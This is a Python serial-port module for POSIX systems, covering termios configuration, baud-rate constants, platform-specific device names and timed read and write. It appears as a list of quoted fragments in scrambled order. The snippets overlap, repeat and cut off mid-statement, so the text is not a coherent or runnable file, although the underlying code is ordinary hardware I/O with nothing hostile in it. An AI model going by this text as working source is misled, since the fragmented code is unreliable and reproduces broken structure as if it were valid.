fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self):", "is written.\"\"\" self.drainOutput() def flushInput(self): \"\"\"Clear input buffer, discarding all", "self._baudrate) # may need custom baud rate, it isn't in", "(self._interCharTimeout is not None and self._interCharTimeout > 0)) and not", "until all data is written.\"\"\" self.drainOutput() def flushInput(self): \"\"\"Clear input", "|= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity) #", "timeout - time.time() if timeleft < 0: raise writeTimeoutError _,", "else: raise ValueError('Invalid char len: %r' % self._bytesize) # setup", "~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant", "TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or", "class Serial(PosixSerial, FileLike): pass else: # io library present class", "platform\") baudrate_constants = {} elif plat[:2] == 'hp': # HP-UX", "def _reconfigurePort(self): \"\"\"Set communication parameters on opened port.\"\"\" if self.fd", "was # ready to read when we get to this", "0x020100f0): import TERMIOS else: TERMIOS = termios if (sys.hexversion <", "# enable software flow control rtscts=0, # enable RTS/CTS flow", "given string over the serial port.\"\"\" if self.fd is None:", "# references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select,", "= data if self._writeTimeout is not None and self._writeTimeout >", "|= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS,", "while len(read) < size: # print \"\\tread(): size\",size, \"have\", len(read)", "and self._writeTimeout > 0: timeout = time.time() + self._writeTimeout else:", "PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' %", "'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and", "- n except OSError as v: if v.errno != errno.EAGAIN:", "set custom divisor buf[6] = buf[7] / baudrate # update", "(port+1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how to", "self._isOpen = True #~ self.flushInput() def _reconfigurePort(self): \"\"\"Set communication parameters", "import * # Do check the Python version as some", "buf, 1) else: # version < 8 def set_special_baudrate(port, baudrate):", "the OS so that a device can be selected... #", "newer, that provide the new I/O # library, derrive from", "try: n = os.write(self.fd, d) if timeout: # when timeout", "VERSION)) # no exception, just continue with a brave attempt", "no timeout it will block until the requested number of", "ValueError(\"baud rate not supported\") def device(port): return '/dev/cuad%d' % port", "None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \"\"\"Clear output buffer,", "device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry", "portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD", "raise SerialException('write failed: %s' % (v,)) return len(data) def flush(self):", "1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016,", "if not buf: # Disconnected devices, at least on Linux,", "hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK')", "hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST')", "def close(self): \"\"\"Close port\"\"\" if self._isOpen: if self.fd is not", "vtime = 0 # timeout is done via select if", "load some constants for later use. # try to use", "0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200:", "# early abort on timeout return bytes(read) if __name__ ==", "self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str)", "also to keep original exception that happened when setting up", "return device(port) # - - - - - - -", "s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\n' % s.read(5)) sys.stdout.write('%s\\n' % s.inWaiting()) del", "TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD =", "# io library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial):", "nothing to read. if not ready: break # timeout buf", "cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port + 1)", "0: raise ValueError('Invalid baud rate: %r' % self._baudrate) # setup", "device names. # load some constants for later use. #", "- - - - - - def inWaiting(self): \"\"\"Return the", "vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag,", "buf = array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd,", "plat[:6] == 'darwin': # OS X version = os.uname()[2].split('.') #", "%s\" % msg) # set up raw mode / no", "cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r'", "SerialException(\"sorry don't know how to handle non standard baud rate", "ImportError: # classic version with our own file-like emulation class", "to build a device name # even if the device", "etc) fails?? # buffer # vmin \"minimal number of characters", ".serialutil import * # Do check the Python version as", "on many systems def read(self, size=1): \"\"\"Read size bytes from", "None raise SerialException(\"could not open port %s: %s\" % (self._port,", "None: raise portNotOpenError return self.fd def flowControl(self, enable): \"\"\"manually control", "OS so that a device can be selected... # this", "|= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r' %", "ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was used with", "- - def inWaiting(self): \"\"\"Return the number of characters currently", "None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \"\"\"internal - not portable!\"\"\"", "if self.fd is None: raise portNotOpenError t = len(data) d", "except OSError as v: if v.errno != errno.EAGAIN: raise SerialException('write", "if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag", "it with alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS)", "status line: Request To Send\"\"\" if self.fd is None: raise", "when setting up pass self.fd = None raise else: self._isOpen", "(TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL',", "not ready: break # timeout buf = os.read(self.fd, size-len(read)) #", "need to know the device names. # load some constants", "POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |=", "is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd,", "portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \"\"\"internal - not portable!\"\"\" if self.fd", "or (self._interCharTimeout is not None and self._interCharTimeout > 0)) and", "%r' % self._parity) # setup flow control # xonxoff if", "many other Un*x like systems.\"\"\" def open(self): \"\"\"Open port with", "in use (e.g. USB-serial unplugged)\"\"\" def read(self, size=1): \"\"\"Read size", "read.extend(buf) if ((self._timeout is not None and self._timeout >= 0)", "% self._parity) # setup flow control # xonxoff if hasattr(TERMIOS,", "was used with a timeout, and the timeout occurs, it", "TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom baud", "wait for being ready # with the time left as", "timeout is done via select if self._interCharTimeout is not None:", "for waiting forever xonxoff=0, # enable software flow control rtscts=0,", "try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed", "serial port. If a timeout is set it may return", "have moved. if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS", "it will block until the requested number of bytes is", "= {} elif plat[:3] == 'aix': # AIX def device(port):", "not None and self._interCharTimeout > 0)) and not buf: break", "return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): \"\"\"Read terminal", "1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016,", "1.6 testing by Erk def device(port): return '/dev/dty%02d' % port", "implementation. Serial port configuration is done with termios and fcntl.", "[iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) # apply custom", "set a timeout value, None for waiting forever xonxoff=0, #", "parity checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3, #", "~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX", "ispeed, ospeed, cc]) # apply custom baud rate, if any", "Linux, BSD, Jython # module for serial IO for POSIX", "as timeout timeleft = timeout - time.time() if timeleft <", "references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno,", "def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise", "{} else: # platform detection has failed... sys.stderr.write(\"\"\"\\ don't know", "after given duration.\"\"\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd,", "# setup stopbits if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB)", "stop bit specification: %r' % self._stopbits) # setup parity iflag", "n = os.write(self.fd, d) if timeout: # when timeout is", "timeout value, None for waiting forever xonxoff=0, # enable software", "warning if setting up rtscts (and xonxoff etc) fails?? #", "plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d'", "control flow - when hardware or software flow control is", "self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid baud rate:", "len(data) def flush(self): \"\"\"Flush of file like objects. In this", "timeout timeleft = timeout - time.time() if timeleft < 0:", "on this platform\") baudrate_constants = {} elif plat[:3] == 'bsd'", "TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select", "is nothing to read. if not ready: break # timeout", "not portable!\"\"\" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def", "TERMIOS.TCIOFF) # assemble Serial class with the platform specifc implementation", "3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin': #", "'CNEW_RTSCTS'): # try it with alternate constant name if self._rtscts:", "buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try:", "__init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> # this is", "len(read)) read.extend(buf) if ((self._timeout is not None and self._timeout >=", "raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin", "run on this platform, sorry.\" # whats up with \"aix\",", "done with termios and fcntl. Runs on Linux and many", "portNotOpenError read = bytearray() while len(read) < size: ready,_,_ =", "as port parameter. def device(portum): return '/dev/ttyS%d' % portnum def", "or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG", "baudrate_constants = {} else: # platform detection has failed... sys.stderr.write(\"\"\"\\", "= struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or", "TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST =", "TERMIOS else: TERMIOS = termios if (sys.hexversion < 0x020200f0): import", "iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts:", "!= 0 def getCD(self): \"\"\"Read terminal status line: Carrier Detect\"\"\"", "~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity", "os.write(self.fd, d) if timeout: # when timeout is set, use", "TERMIOS, use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET')", "# open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as", "reported it was # ready to read when we get", "whats up with \"aix\", \"beos\", .... # they should work,", "> 0: timeout = time.time() + self._writeTimeout else: timeout =", "where the counting starts for the first serial port. e.g.", "elif plat == 'openbsd3': # BSD (confirmed) def device(port): return", "line: Request To Send\"\"\" if self.fd is None: raise portNotOpenError", "== 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' %", "to know the device names. # load some constants for", "device name as port parameter. def device(portum): return '/dev/ttyS%d' %", "= ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try:", "230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007,", "not None: os.close(self.fd) self.fd = None self._isOpen = False def", "configure port: %s\" % msg) # set up raw mode", "None and self._writeTimeout > 0: timeout = time.time() + self._writeTimeout", "writeTimeoutError d = d[n:] t = t - n except", "of data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, #", "the input buffer.\"\"\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s", "int(duration/0.25)) def setBreak(self, level=1): \"\"\"Set break: Controls TXD. When active,", "flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag", "or \\ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4:", "vmin = vtime = 0 # timeout is done via", "Python Serial Port Extension for Win32, Linux, BSD, Jython #", "raise portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL)", "\"have\", len(read) #debug # wait until device becomes ready to", "this code block should supply a device() and set_special_baudrate() function", "with \"aix\", \"beos\", .... # they should work, just need", "<NAME> <<EMAIL>> # this is distributed under a free software", "ttys on this system. ! Use an explicit path (eg", "and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE", "explicit path (eg /dev/ttyS1) or send this information to !", "= hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS,", "a /dev file, it'll fail here raise SerialException(\"Could not configure", "handling of errors, such as a device disconnecting while it's", "7: cflag |= TERMIOS.CS7 elif self._bytesize == 6: cflag |=", "{} elif plat[:3] == 'bsd' or \\ plat[:7] == 'freebsd'", "0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000:", "and set_special_baudrate() function # for the platform plat = sys.platform.lower()", "ValueError(\"sorry don't know how to handle non standard baud rate", "use IOKit-specific call to set up high speeds import array,", "0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed) def", "may need custom baud rate, it isn't in our list.", "= getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed =", "blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any", "134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010,", "read operation. # For timeout == 0 (non-blocking operation) also", "portable to different platforms!\"\"\" if self.fd is None: raise portNotOpenError", "ready # with the time left as timeout timeleft =", "abort read operation. # For timeout == 0 (non-blocking operation)", "baudrate_constants = {} elif plat[:6] == 'darwin': # OS X", "def flush(self): \"\"\"Flush of file like objects. In this case,", "no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL|", "it's in use (e.g. USB-serial unplugged)\"\"\" def read(self, size=1): \"\"\"Read", "d = d[n:] t = t - n except OSError", "a free software license, see license.txt # # parts based", "= {} elif plat[:6] == 'netbsd': # NetBSD 1.6 testing", "# load some constants for later use. # try to", "|= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there", "(TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be", "depending on flow control def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't", "return bytes(read) def write(self, data): \"\"\"Output the given string over", "With no timeout it will block until the requested number", "flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &=", "activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed,", "up with \"aix\", \"beos\", .... # they should work, just", "1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise", "and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2", "struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK')", "None and self._interCharTimeout > 0)) and not buf: break #", "and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD", "when hardware or software flow control is enabled\"\"\" if enable:", "error (poll)') # we don't care if it is select.POLLIN", "0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST", "= hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS,", "hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \"\"\"Serial port", "return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise", "= os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is not", "select to wait for being ready # with the time", "\"this module does not run on this platform, sorry.\" #", "0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800:", "IOError: raise ValueError('Failed to set custom baud rate: %r' %", "except ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate) else:", "the buffer.\"\"\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH)", "termios.tcdrain(self.fd) def nonblocking(self): \"\"\"internal - not portable!\"\"\" if self.fd is", "10) try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc =", "self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char", "'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port)", "and the base # for file-like behavior. for Python 2.6", "implementation and the base # for file-like behavior. for Python", "else: TERMIOS = termios if (sys.hexversion < 0x020200f0): import FCNTL", "cflag |= (TERMIOS.CSTOPB) # XXX same as TWO.. there is", "'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and", "2.6 and newer, that provide the new I/O # library,", "constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &=", ">= 0) or (self._interCharTimeout is not None and self._interCharTimeout >", "% port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how", "~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |=", "= vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag,", "is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return", "the time left as timeout timeleft = timeout - time.time()", "given duration.\"\"\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25))", "s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\n' % s.read(5)) sys.stdout.write('%s\\n' %", "for POSIX compatible systems, like Linux # see __init__.py #", "a device disconnecting while it's in use (e.g. USB-serial unplugged)\"\"\"", "= d[n:] t = t - n except OSError as", "baudrate_constants = {} #~ raise Exception, \"this module does not", "the platform plat = sys.platform.lower() if plat[:5] == 'linux': #", "def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise", "must be configured before it can be used.\") # open", "# enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput()", "port cannot be opened.\"\"\" self.fd = None if self._port is", "/ no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &=", "def read(self, size=1): \"\"\"Read size bytes from the serial port.", "0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin':", "immediately # but reading returns nothing. raise SerialException('device reports readiness", "# - - platform specific - - - - def", "device() and set_special_baudrate() function # for the platform plat =", "# vmin \"minimal number of characters to be read. =", "while t > 0: try: n = os.write(self.fd, d) if", "custom_baud < 0: raise ValueError('Invalid baud rate: %r' % self._baudrate)", "else: if custom_baud < 0: raise ValueError('Invalid baud rate: %r'", "- - - - def inWaiting(self): \"\"\"Return the number of", "cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with", "bytes from the serial port. If a timeout is set", "self.fd is None: raise portNotOpenError t = len(data) d =", "try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd", "|= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): #", "0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf", "if self._port is None: raise SerialException(\"Port must be configured before", "bits timeout=3, # set a timeout value, None for waiting", "platform specifc implementation and the base # for file-like behavior.", "try to detect the OS so that a device can", "<<EMAIL>> # this is distributed under a free software license,", "# update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST #", "of characters to be read. = for non blocking\" if", "TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK", "closing the port # also to keep original exception that", "> 255: raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN]", "ospeed, cc]) # apply custom baud rate, if any if", "\\ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d)", "a warning if setting up rtscts (and xonxoff etc) fails??", "# read should always return some data as select reported", "s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\n' % s.read(5)) sys.stdout.write('%s\\n' % s.inWaiting())", "# BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d'", "cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD:", "= {} elif plat[:3] == 'bsd' or \\ plat[:7] ==", "0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 }", "raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] &", "(poll)') # we don't care if it is select.POLLIN or", "block until the requested number of bytes is read.\"\"\" if", "this platform\") baudrate_constants = {} elif plat[:3] == 'bsd' or", "read should always return some data as select reported it", "parameters on opened port.\"\"\" if self.fd is None: raise SerialException(\"Can", "raise Exception, \"this module does not run on this platform,", "else: raise ValueError('Invalid stop bit specification: %r' % self._stopbits) #", "TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or", "~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC", "== 7: cflag |= TERMIOS.CS7 elif self._bytesize == 6: cflag", "0o010016, 4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32", "to work using a string with the real device name", "# we don't care if it is select.POLLIN or timeout,", "counting starts for the first serial port. e.g. 'first serial", "= fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0", "def getDSR(self): \"\"\"Read terminal status line: Data Set Ready\"\"\" if", "= None vmin = vtime = 0 # timeout is", "return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't", "s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based", "and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS", "output and discarding all that is in the buffer.\"\"\" if", "#~ self.flushInput() def _reconfigurePort(self): \"\"\"Set communication parameters on opened port.\"\"\"", "oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error", "and where the counting starts for the first serial port.", "divisor buf[6] = buf[7] / baudrate # update flags buf[4]", "proved to work on many systems def read(self, size=1): \"\"\"Read", "ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import", "vtime = int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag,", "vmin = 1 vtime = int(self._interCharTimeout * 10) try: iflag,", "(select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we don't care", "flow - when hardware or software flow control is enabled\"\"\"", "if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST)", "else: # platform detection has failed... sys.stderr.write(\"\"\"\\ don't know how", ">= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific call to", "# timeout is done via select if self._interCharTimeout is not", "= None self._isOpen = False def makeDeviceName(self, port): return device(port)", "= os.uname()[2].split('.') # Tiger or above can support arbitrary serial", "on this platform, sorry.\" # whats up with \"aix\", \"beos\",", "block should supply a device() and set_special_baudrate() function # for", "BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' %", "from .serialutil import * # Do check the Python version", "# Tiger or above can support arbitrary serial speeds if", "'first serial port: /dev/ttyS0' and with a bit luck you", "Runs on Linux and many other Un*x like systems.\"\"\" def", "a device name # even if the device name is", "= hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS,", "self._writeTimeout is not None and self._writeTimeout > 0: timeout =", "# parts based on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py", "http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno, time", "Port Extension for Win32, Linux, BSD, Jython # module for", "921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013,", "'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and", "termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) #", "'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and", "self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize == 6:", "None: raise SerialException(\"Can only operate on a valid file descriptor\")", "supply a device() and set_special_baudrate() function # for the platform", "% self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity", "0: raise writeTimeoutError _, ready, _ = select.select([], [self.fd], [],", "read.extend(buf) return bytes(read) def write(self, data): \"\"\"Output the given string", "(eg /dev/ttyS1) or send this information to ! the author", "TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1", "status line: Carrier Detect\"\"\" if self.fd is None: raise portNotOpenError", "module running... \"\"\" % (sys.platform, os.name, VERSION)) # no exception,", "errno, time from .serialutil import * # Do check the", "s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number", "(sys.platform, os.name, VERSION)) # no exception, just continue with a", "the # behavior that they are always ready to read", "0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200:", "exception, just continue with a brave attempt to build a", "0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str", "raise ValueError('Invalid char len: %r' % self._bytesize) # setup stopbits", "port\"\"\" if self._isOpen: if self.fd is not None: os.close(self.fd) self.fd", "v: if v.errno != errno.EAGAIN: raise SerialException('write failed: %s' %", "'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and", "if it is select.POLLIN or timeout, that's # handled below", "def fileno(self): \"\"\"For easier use of the serial port instance", "work on many systems def read(self, size=1): \"\"\"Read size bytes", "or 0x5428 class PosixSerial(SerialBase): \"\"\"Serial port class POSIX implementation. Serial", "see license.txt # # parts based on code from <NAME>", "non standard baud rate on this platform\") baudrate_constants = {}", "objects. In this case, wait until all data is written.\"\"\"", "0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600:", "if the device name is not correct for the platform", "# IRIX (partially tested) def device(port): return '/dev/ttyf%d' % (port+1)", "~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'):", "has better handling of errors, such as a device disconnecting", "update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set", "a port is nonexistent but has a /dev file, it'll", "baudrate): raise ValueError(\"baud rate not supported\") def device(port): return 